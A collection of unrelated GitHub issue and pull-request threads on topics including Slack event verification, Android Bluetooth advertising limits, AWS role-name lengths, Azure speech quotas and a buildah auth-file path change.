📝 Docs preview for commit 96e6e7c9d365ac54a8fc7b98eef04832d8ccc40b at: https://977ec675.fastapitiangolo.pages.dev

📝 Docs preview for commit be9d17b0f371435bdd274b470eebc6ad65be574c at: https://db06191e.fastapitiangolo.pages.dev

Awesome @nilslindemann! :rocket:
As you are the champion of German translations and you have done so many, and with so much attention to detail, I'm gonna go ahead and merge this. :tada:
If others see things that could be improved later, we can check that in new PRs. :nerd_face:


I can't verify Production URL for events API

Description
Hello, everyone! I'm trying to integrate Slack API to my web app using node-slack-events-api (v2.1.1)
But I'm getting error every time when I'm trying to verify my production URL.
@slack/events-api version: 2.1.1
node version: 10.13.0
Attachments:

Code
const path = require('path')
const express = require('express')
const http = require('http')
const { createEventAdapter } = require('@slack/events-api')
const slackEvents = createEventAdapter(process.env.SLACK_SIGNING_SECRET)

const port = process.env.PORT || 3000

const app = express()
const server = http.createServer(app)

app.use('/slack/events', slackEvents.expressMiddleware())

// Attach listeners to events by Slack Event "type". See: https://api.slack.com/events/message.im
slackEvents.on('message', event => {
  console.log(
    `Received a message event: type: ${event.type}, user ${
      event.user
    } in channel ${event.channel} says ${event.text}`
  )
  if (clients.length > 0) {
    clients.map(clientWs => {
      clientWs.send(
        JSON.stringify({
          channel: event.channel,
          author: event.user,
          text: event.text
        })
      )
    })
  }
})

// *** Handle errors ***
slackEvents.on('error', error => {
  console.error(error)
})

server.listen(port, function(err) {
  if (err) {
    return console.error(err)
  }

  console.log('Listening at port: ', port)
})

It seems like you might have already figured this out since you closed the issue, but I’m case you haven’t, all the code looks correct but you’d need to check that your request signing secret is in the SLACK_SIGNING_SECRET environment variable.


Added Voldis Merchant + Thunderwings fix

Looks good. I'm guessing this means the new merchant matches Punika's spawns? That would have been my guess based on the first two days, but I don't really have a resource to check.
Probably merge this after work today some time.

I'm guessing this means the new merchant matches Punika's spawns? That would have been my guess based on the first two days, but I don't really have a resource to check.

Sorry, i forgot to give more details, but yes, Voldis is part of the same group. (Inven research post call it Group 3)


Configure Azure Pipelines

This configuration builds the application and produces builds for both Debug and Release configurations

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: benbang311 sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


Showing a dialog throws NullReferenceException (but not in latest source)

I'm trying to display dialogs from my MetroWindow class:
await this.ShowMessageAsync("Connection", "Connecting to database...");

but this throws a NullReferenceException.
So I downloaded the source and referenced the project in order to step into the call and see where the NRE is thrown but... it works fine from the source. So I guess that there was some issue that got recently fixed, which leads me to the question: is there a new release scheduled soon?
Thanks

@ThomasWeiss you can download the pre nuget version which is the latest source. it should be work like a stable version ;-P


Including device name can cause AdvertiseFailure.DataTooLarge on some Android devices

Please check all of the platforms you are having the issue on (if platform is not listed, it is not supported)

[] iOS
[##] Android
[] tvOS
[] macOS
[] .NET Standard
UWP IS NOT SUPPORTED DURING THE BETA PERIOD - ONLY PRs ARE WELCOME FOR NOW

Version of OS(s) listed above with issue
8.1.0
Device: Samsung galaxy XCover 4
Version of Library
6.2.3
Expected Behaviour
Should be able to start the Advertiser without failure
Actual Behavior
If applicable, please include entire exception - type, message, stacktrace
Including the device name in the AdvertiseData in Advertiser.Start(…)
.SetIncludeDeviceName(true)
Causes
errorCode = Android.Bluetooth.LE.AdvertiseFailure.DataTooLarge
An option to exclude or truncate the device name would be useful.
Also noted that the IsStarted never seems to be set, perhaps the inclusion of something like
this.adCallbacks.Started += this.OnStarted;
    private void OnStarted()
    {
        this.IsStarted = true;
    }

Plus
this.adCallbacks.Started -= this.OnStarted;
in Stop()
Would be useful.
A way for the consuming app to hook into the events in AdvertisementCallbacks would also be handy
Code of Conduct

No Library Update Requests
No Timeline Requests
Please read through the documentation and FAQs
If you have a complaint about the docs, FIX IT - DO NOT FILE IT HERE!  I won't guarantee everything is always 100% up-to-date since I am just 1 person.
Please be respectful of my time. I put a lot of effort into my libraries.  I try to support the issue requests within a day.  I'm not psychic, so please take the time to fill out the above form as complete as possible

Other evidence that I am not the only person who has encountered this can be seen at the bottom of https://stackoverflow.com/questions/49501715/cant-advertise-on-bluetooth in the answer given by Darius.


More fall animations!

Almost every animation is all about bringing in a view. Only Fall and Fadeout will let the view disappear. Please make more disappear animations.

If you use animateTo() you can reverse the animation, allowing the view to move off the screen!
Example:
if menuIsDisplaying {
           bpmView.animation = "fadeInUp"
           bpmView.curve = "easeInOutBack"
           bpmView.duration = 1.0
           bpmView.animateTo()

} else {
           bpmView.animation = "fadeInUp"
           bpmView.curve = "easeInOutBack"
           bpmView.duration = 1.0
           bpmView.animate()
}

menuIsDisplaying = !menuIsDisplaying


10 character namespace is not usable with regions that have long name

Describe the bug
The management stack cannot deploy because the role name is too long.
The solution states that the namespace can be up to 10 characters. The management stack template uses the namespace to create role on line 176:
Namespace<PHONE_NUMBER> in region ap-southeast-2 turns into<PHONE_NUMBER>-ap-southeast-2-AccountAssessment-OrgManagementStackRole which results in role name of 66 characters and throws the following error:
1 validation error detected: Value '1234567890-ap-southeast-2-AccountAssessment-OrgManagementStackRole' at 'roleName' failed to satisfy constraint: Member must have length less than or equal to 64 (Service: AmazonIdentityManagement; Status Code: 400; Error Code: ValidationError; Request ID: 84ca7ec9-43c3-44a4-8e5f-1e2ddda7e599; Proxy: null)

To Reproduce
Select a namespace that has 10 characters.
Expected behavior
Management stack should be deployed without validation errors.
Please complete the following information about the solution:

[x] v1.0.1

To get the version of the solution, you can look at the description of the created CloudFormation stack.
For example, "(SO0217) - The AWS CloudFormation hub template for deployment of the Account Assessment for AWS Organisations, Version: v1.0.1".

[x] Region: ap-southeast-2
[x] Was the solution modified from the version published on this repository? No
[x] If the answer to the previous question was yes, are the changes available on GitHub? N/A
[x] Have you checked your service quotas for the sevices this solution uses? N/A
[x] Were there any errors in the CloudWatch Logs? No

Fixed in v1.0.2


Update concepts-change-data-capture.md

Fixed typo..

@KrishnakumarRukmangathan
Thanks for the typo fix!


Fix Valgrind error in the test suite

This PR has fixed errors reported by Valgrind.
The errors were due to missing std::fclose() calls after opening a test data file in the input_adapter class test cases.
So no changes have been made to the library source codes.

Pull Request Checklist
Read the CONTRIBUTING.md file for detailed information.

[x] Changes are described in the pull request or in a referenced issue.
[x] The test suite compiles and runs without any error.
[x] The code coverage on your branch is 100%.
[x] The documentation is updated if you added/changed a feature.

Please don't

The C++11 support varies between different compilers and versions. Please note the list of supported compilers. Some compilers like GCC 4.7 (and earlier), Clang 3.3 (and earlier), or Microsoft Visual Studio 13.0 and earlier are known not to work due to missing or incomplete C++11 support. Please refrain from proposing changes that work around these compiler's limitations with #ifdefs or other means.
Please refrain from proposing changes that would break YAML specifications. If you propose a conformant extension of YAML to be supported by the library, please motivate this extension.
Please do not open pull requests that address multiple issues.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 100.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
3464

Relevant Lines:
3464

💛  - Coveralls


Temporary fix on Flow-typed error of whiteBright

Issue: #7
The flow-typed definition for Chalk V.2 is not updated and 'whiteBright' is missing so it end up error here. I've open the pull request at flow-typed repo (here: https://github.com/flowtype/flow-typed/pull/1388).
It may take sometime to merge so I temporary change the color into white

Ah, that makes sense. Thanks for the temp fix. I'll merge this in and keep an eye on that PR you linked. :)


Road map for react-router-redux 5?

Are there any road map or plan when to release react-router-redux 5?

Nope.


REST API limit still valid so why remove?

The version from Feb 2021 had the text-to-speech rate limits the the REST API. This has been removed but still appears to be valid so I wasted a couple of days trying to work out why I could not get near to the 200 transactions per second listed for the F0 text-to-speech. After finding this removed text I just swapped to a S0 resource and now know the limits for demo systems using the S0 tier.
If these limits are still valid they should be documented especially as it is easy to hit 20/min in many scenarios.
There is also no mention that when you hit this limit you get a 1007 error it only mentions the 429 response code.
Cheers

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: dcaf9979-3db5-4944-665a-a334f7556c42
Version Independent ID: c3a7267f-1cb4-74bd-2bcd-482f63028452
Content: Speech service quotas and limits - Azure Cognitive Services
Content Source: articles/cognitive-services/Speech-Service/speech-services-quotas-and-limits.md
Service: cognitive-services
Sub-service: speech-service
GitHub Login: @alexeyo26
Microsoft Alias: alexeyo

@qiliao123 Can you comment?

Thanks, @qiliao123 Can you please comment on this.

This doc update (20 per 60 seconds) will be shipped today. Thanks!

#please-close

Thanks you


Add web documentation

Web documentation on irimold.web.id or design.irimold.web.id

Need to rewrite the page before doing this


support merging yaml files from STDIN

Dear Nico,
one more idea I would like to raise.
I thought of this use case:
cat /env/default/values.yaml /env/production/values.yaml | tpl -d yaml -f template.gotmpl

At the moment, it seems only the second yaml input file is considered if both files are delimited with --- and .... Would it be possible to join them?

Hi, I think this may be out of scope, given, you can use another tool like yq to merge the file before invoking tpl.  So it would follow the unix philosophy.
However, I don't have very strong feeling on this.  Do you have any suggestion how to implement this or do you want make a PR?


Gemini AI Chatbot by Anoop Kumar

AI Chatbot with Gemini API
Welcome to the AI Chatbot project powered by the Gemini API! This README will guide you through the setup, features, and usage of our chatbot that incorporates both Optical Character Recognition (OCR) and conversational capabilities.
Features
Conversational AI: Engage with users through natural language processing, providing answers to queries and managing conversations.
Optical Character Recognition (OCR): Extract text from images, enabling the chatbot to interact with visual data.
Multi-Functional Interface: Seamlessly switch between chatting and OCR processing.
Customizable Responses: Modify and enhance response patterns based on user needs.
Chat Mode
Type your message, and the bot will generate a response using the Gemini API.
OCR Mode
Upload an image, and the bot will process the image to extract text using OCR capabilities, then display the extracted text.
Checklist

[x] I've added my Project's name and description to Index.md
[x] I've made a README.md file for my Project.
[x] The README.md file of my projrct contains Project title, Description, Use of project, Set up, Stack used and Output (Screenshots).

Related Issues or Pull Requests number
None

Please merge


[google_maps_flutter] Add support for map marker bitmap created “fromFile”

Support for creating markers using “defaultMarker” or “fromAsset” is already supported. With “fromFile” support for adding local image files is added.

Any news?

if we could pass byte array that would be helpful too
in case we want to download it from web but without creating file on disk
with 'BitmapDescriptorFactory.fromBitmap' and create bitmap from byte array

now that we have fromBytes do we still need this?


docs: improve docs download_files.md

docs: improve docs download_files.md

Ⅰ. Describe what this PR did
docs: improve docs download_files.md
Ⅱ. Does this pull request fix one issue?

NONE

Codecov Report

Merging #710 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #710   +/-   ##
=======================================
  Coverage   47.41%   47.41%
=======================================
  Files         109      109
  Lines        6287     6287
=======================================
  Hits         2981     2981
  Misses       3072     3072
  Partials      234      234

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c5d0873...8cc8480. Read the comment docs.

LGTM


[Bug]The "setup appsmith locally video"  is not present for docker and heroku  when we search in the omni bar

Description
[What happened]
Setup appsmith locally with Heroku and Docker video is not displayed in the Omni bar which is present in the official docs
Steps to reproduce the behavior:

Important Details

Version: [Cloud ]
Browser chrome
Environment release

video and links are broken @pranavkanade


[th/buildah-no-authfile] build: don't use --authfile /root/config.json for buildah commands

"/root/config.json" is only accessible to root, which means it makes the build not usable to regular users. That is bad.
Instead, if the build will require a login, then require the caller to first issue a suitable podman login registry.ci.openshift.org or configure podman in a similar way, so that a subsequent pull works.  If the user prefers to use files, they still can put the auth file to the well known place, but that place is "/run/user/$UID/containers/auth.json" or "~/.config/containers/auth.json", not "/root/config.json".
That is essentially the same as before: the caller must prepare the system in a way so that pull is gonna work. Except, now they have all the options that podman (e.g. podman login) offers, instead of hard coding some file at "/root/config.json".
You can migrate those machines with:
#BASEDIR=/run/user/0
BASEDIR=~/.config
mkdir -p $BASEDIR/containers
chmod 700 $BASEDIR/containers
cp /root/config.json $BASEDIR/containers/auth.json
chmod 600 $BASEDIR/containers/auth.json

/ok-to-test

If this were merged, then the systems that previously successfully ran make build-localx (or use that via CDA's dpu_operator_{host,dpu} postconfig), need to be adjusted, so that the authentication file is found. As described in the commit message. That may affect CI systems.

/test ci/prow/make-e2e-test

/test make-e2e-test

Thanks. Can we make it better yet logging in automatically while building from CDA (if not yet logged in) so that we don't have to adjust our CI servers for the change of path manually?

Thanks. Can we make it better by logging in automatically while building from CDA (if not yet logged in) so that we don't have to adjust our CI servers for the change of path manually?

I don't see how exactly, for one, we wouldn't want to hard code secrets in CDA or our CI.
Also, it's not necessary. Latest dpu-operator sets {builder,base}_image to some other repo. That doesn't require authentication. On which system is it necessary? The current approach is that the admin of the system pre-sets up the file. We can go through the handful of systems that are affected (are there any?) and migrate manually, as describe in the commit message.

/lgtm

/lgtm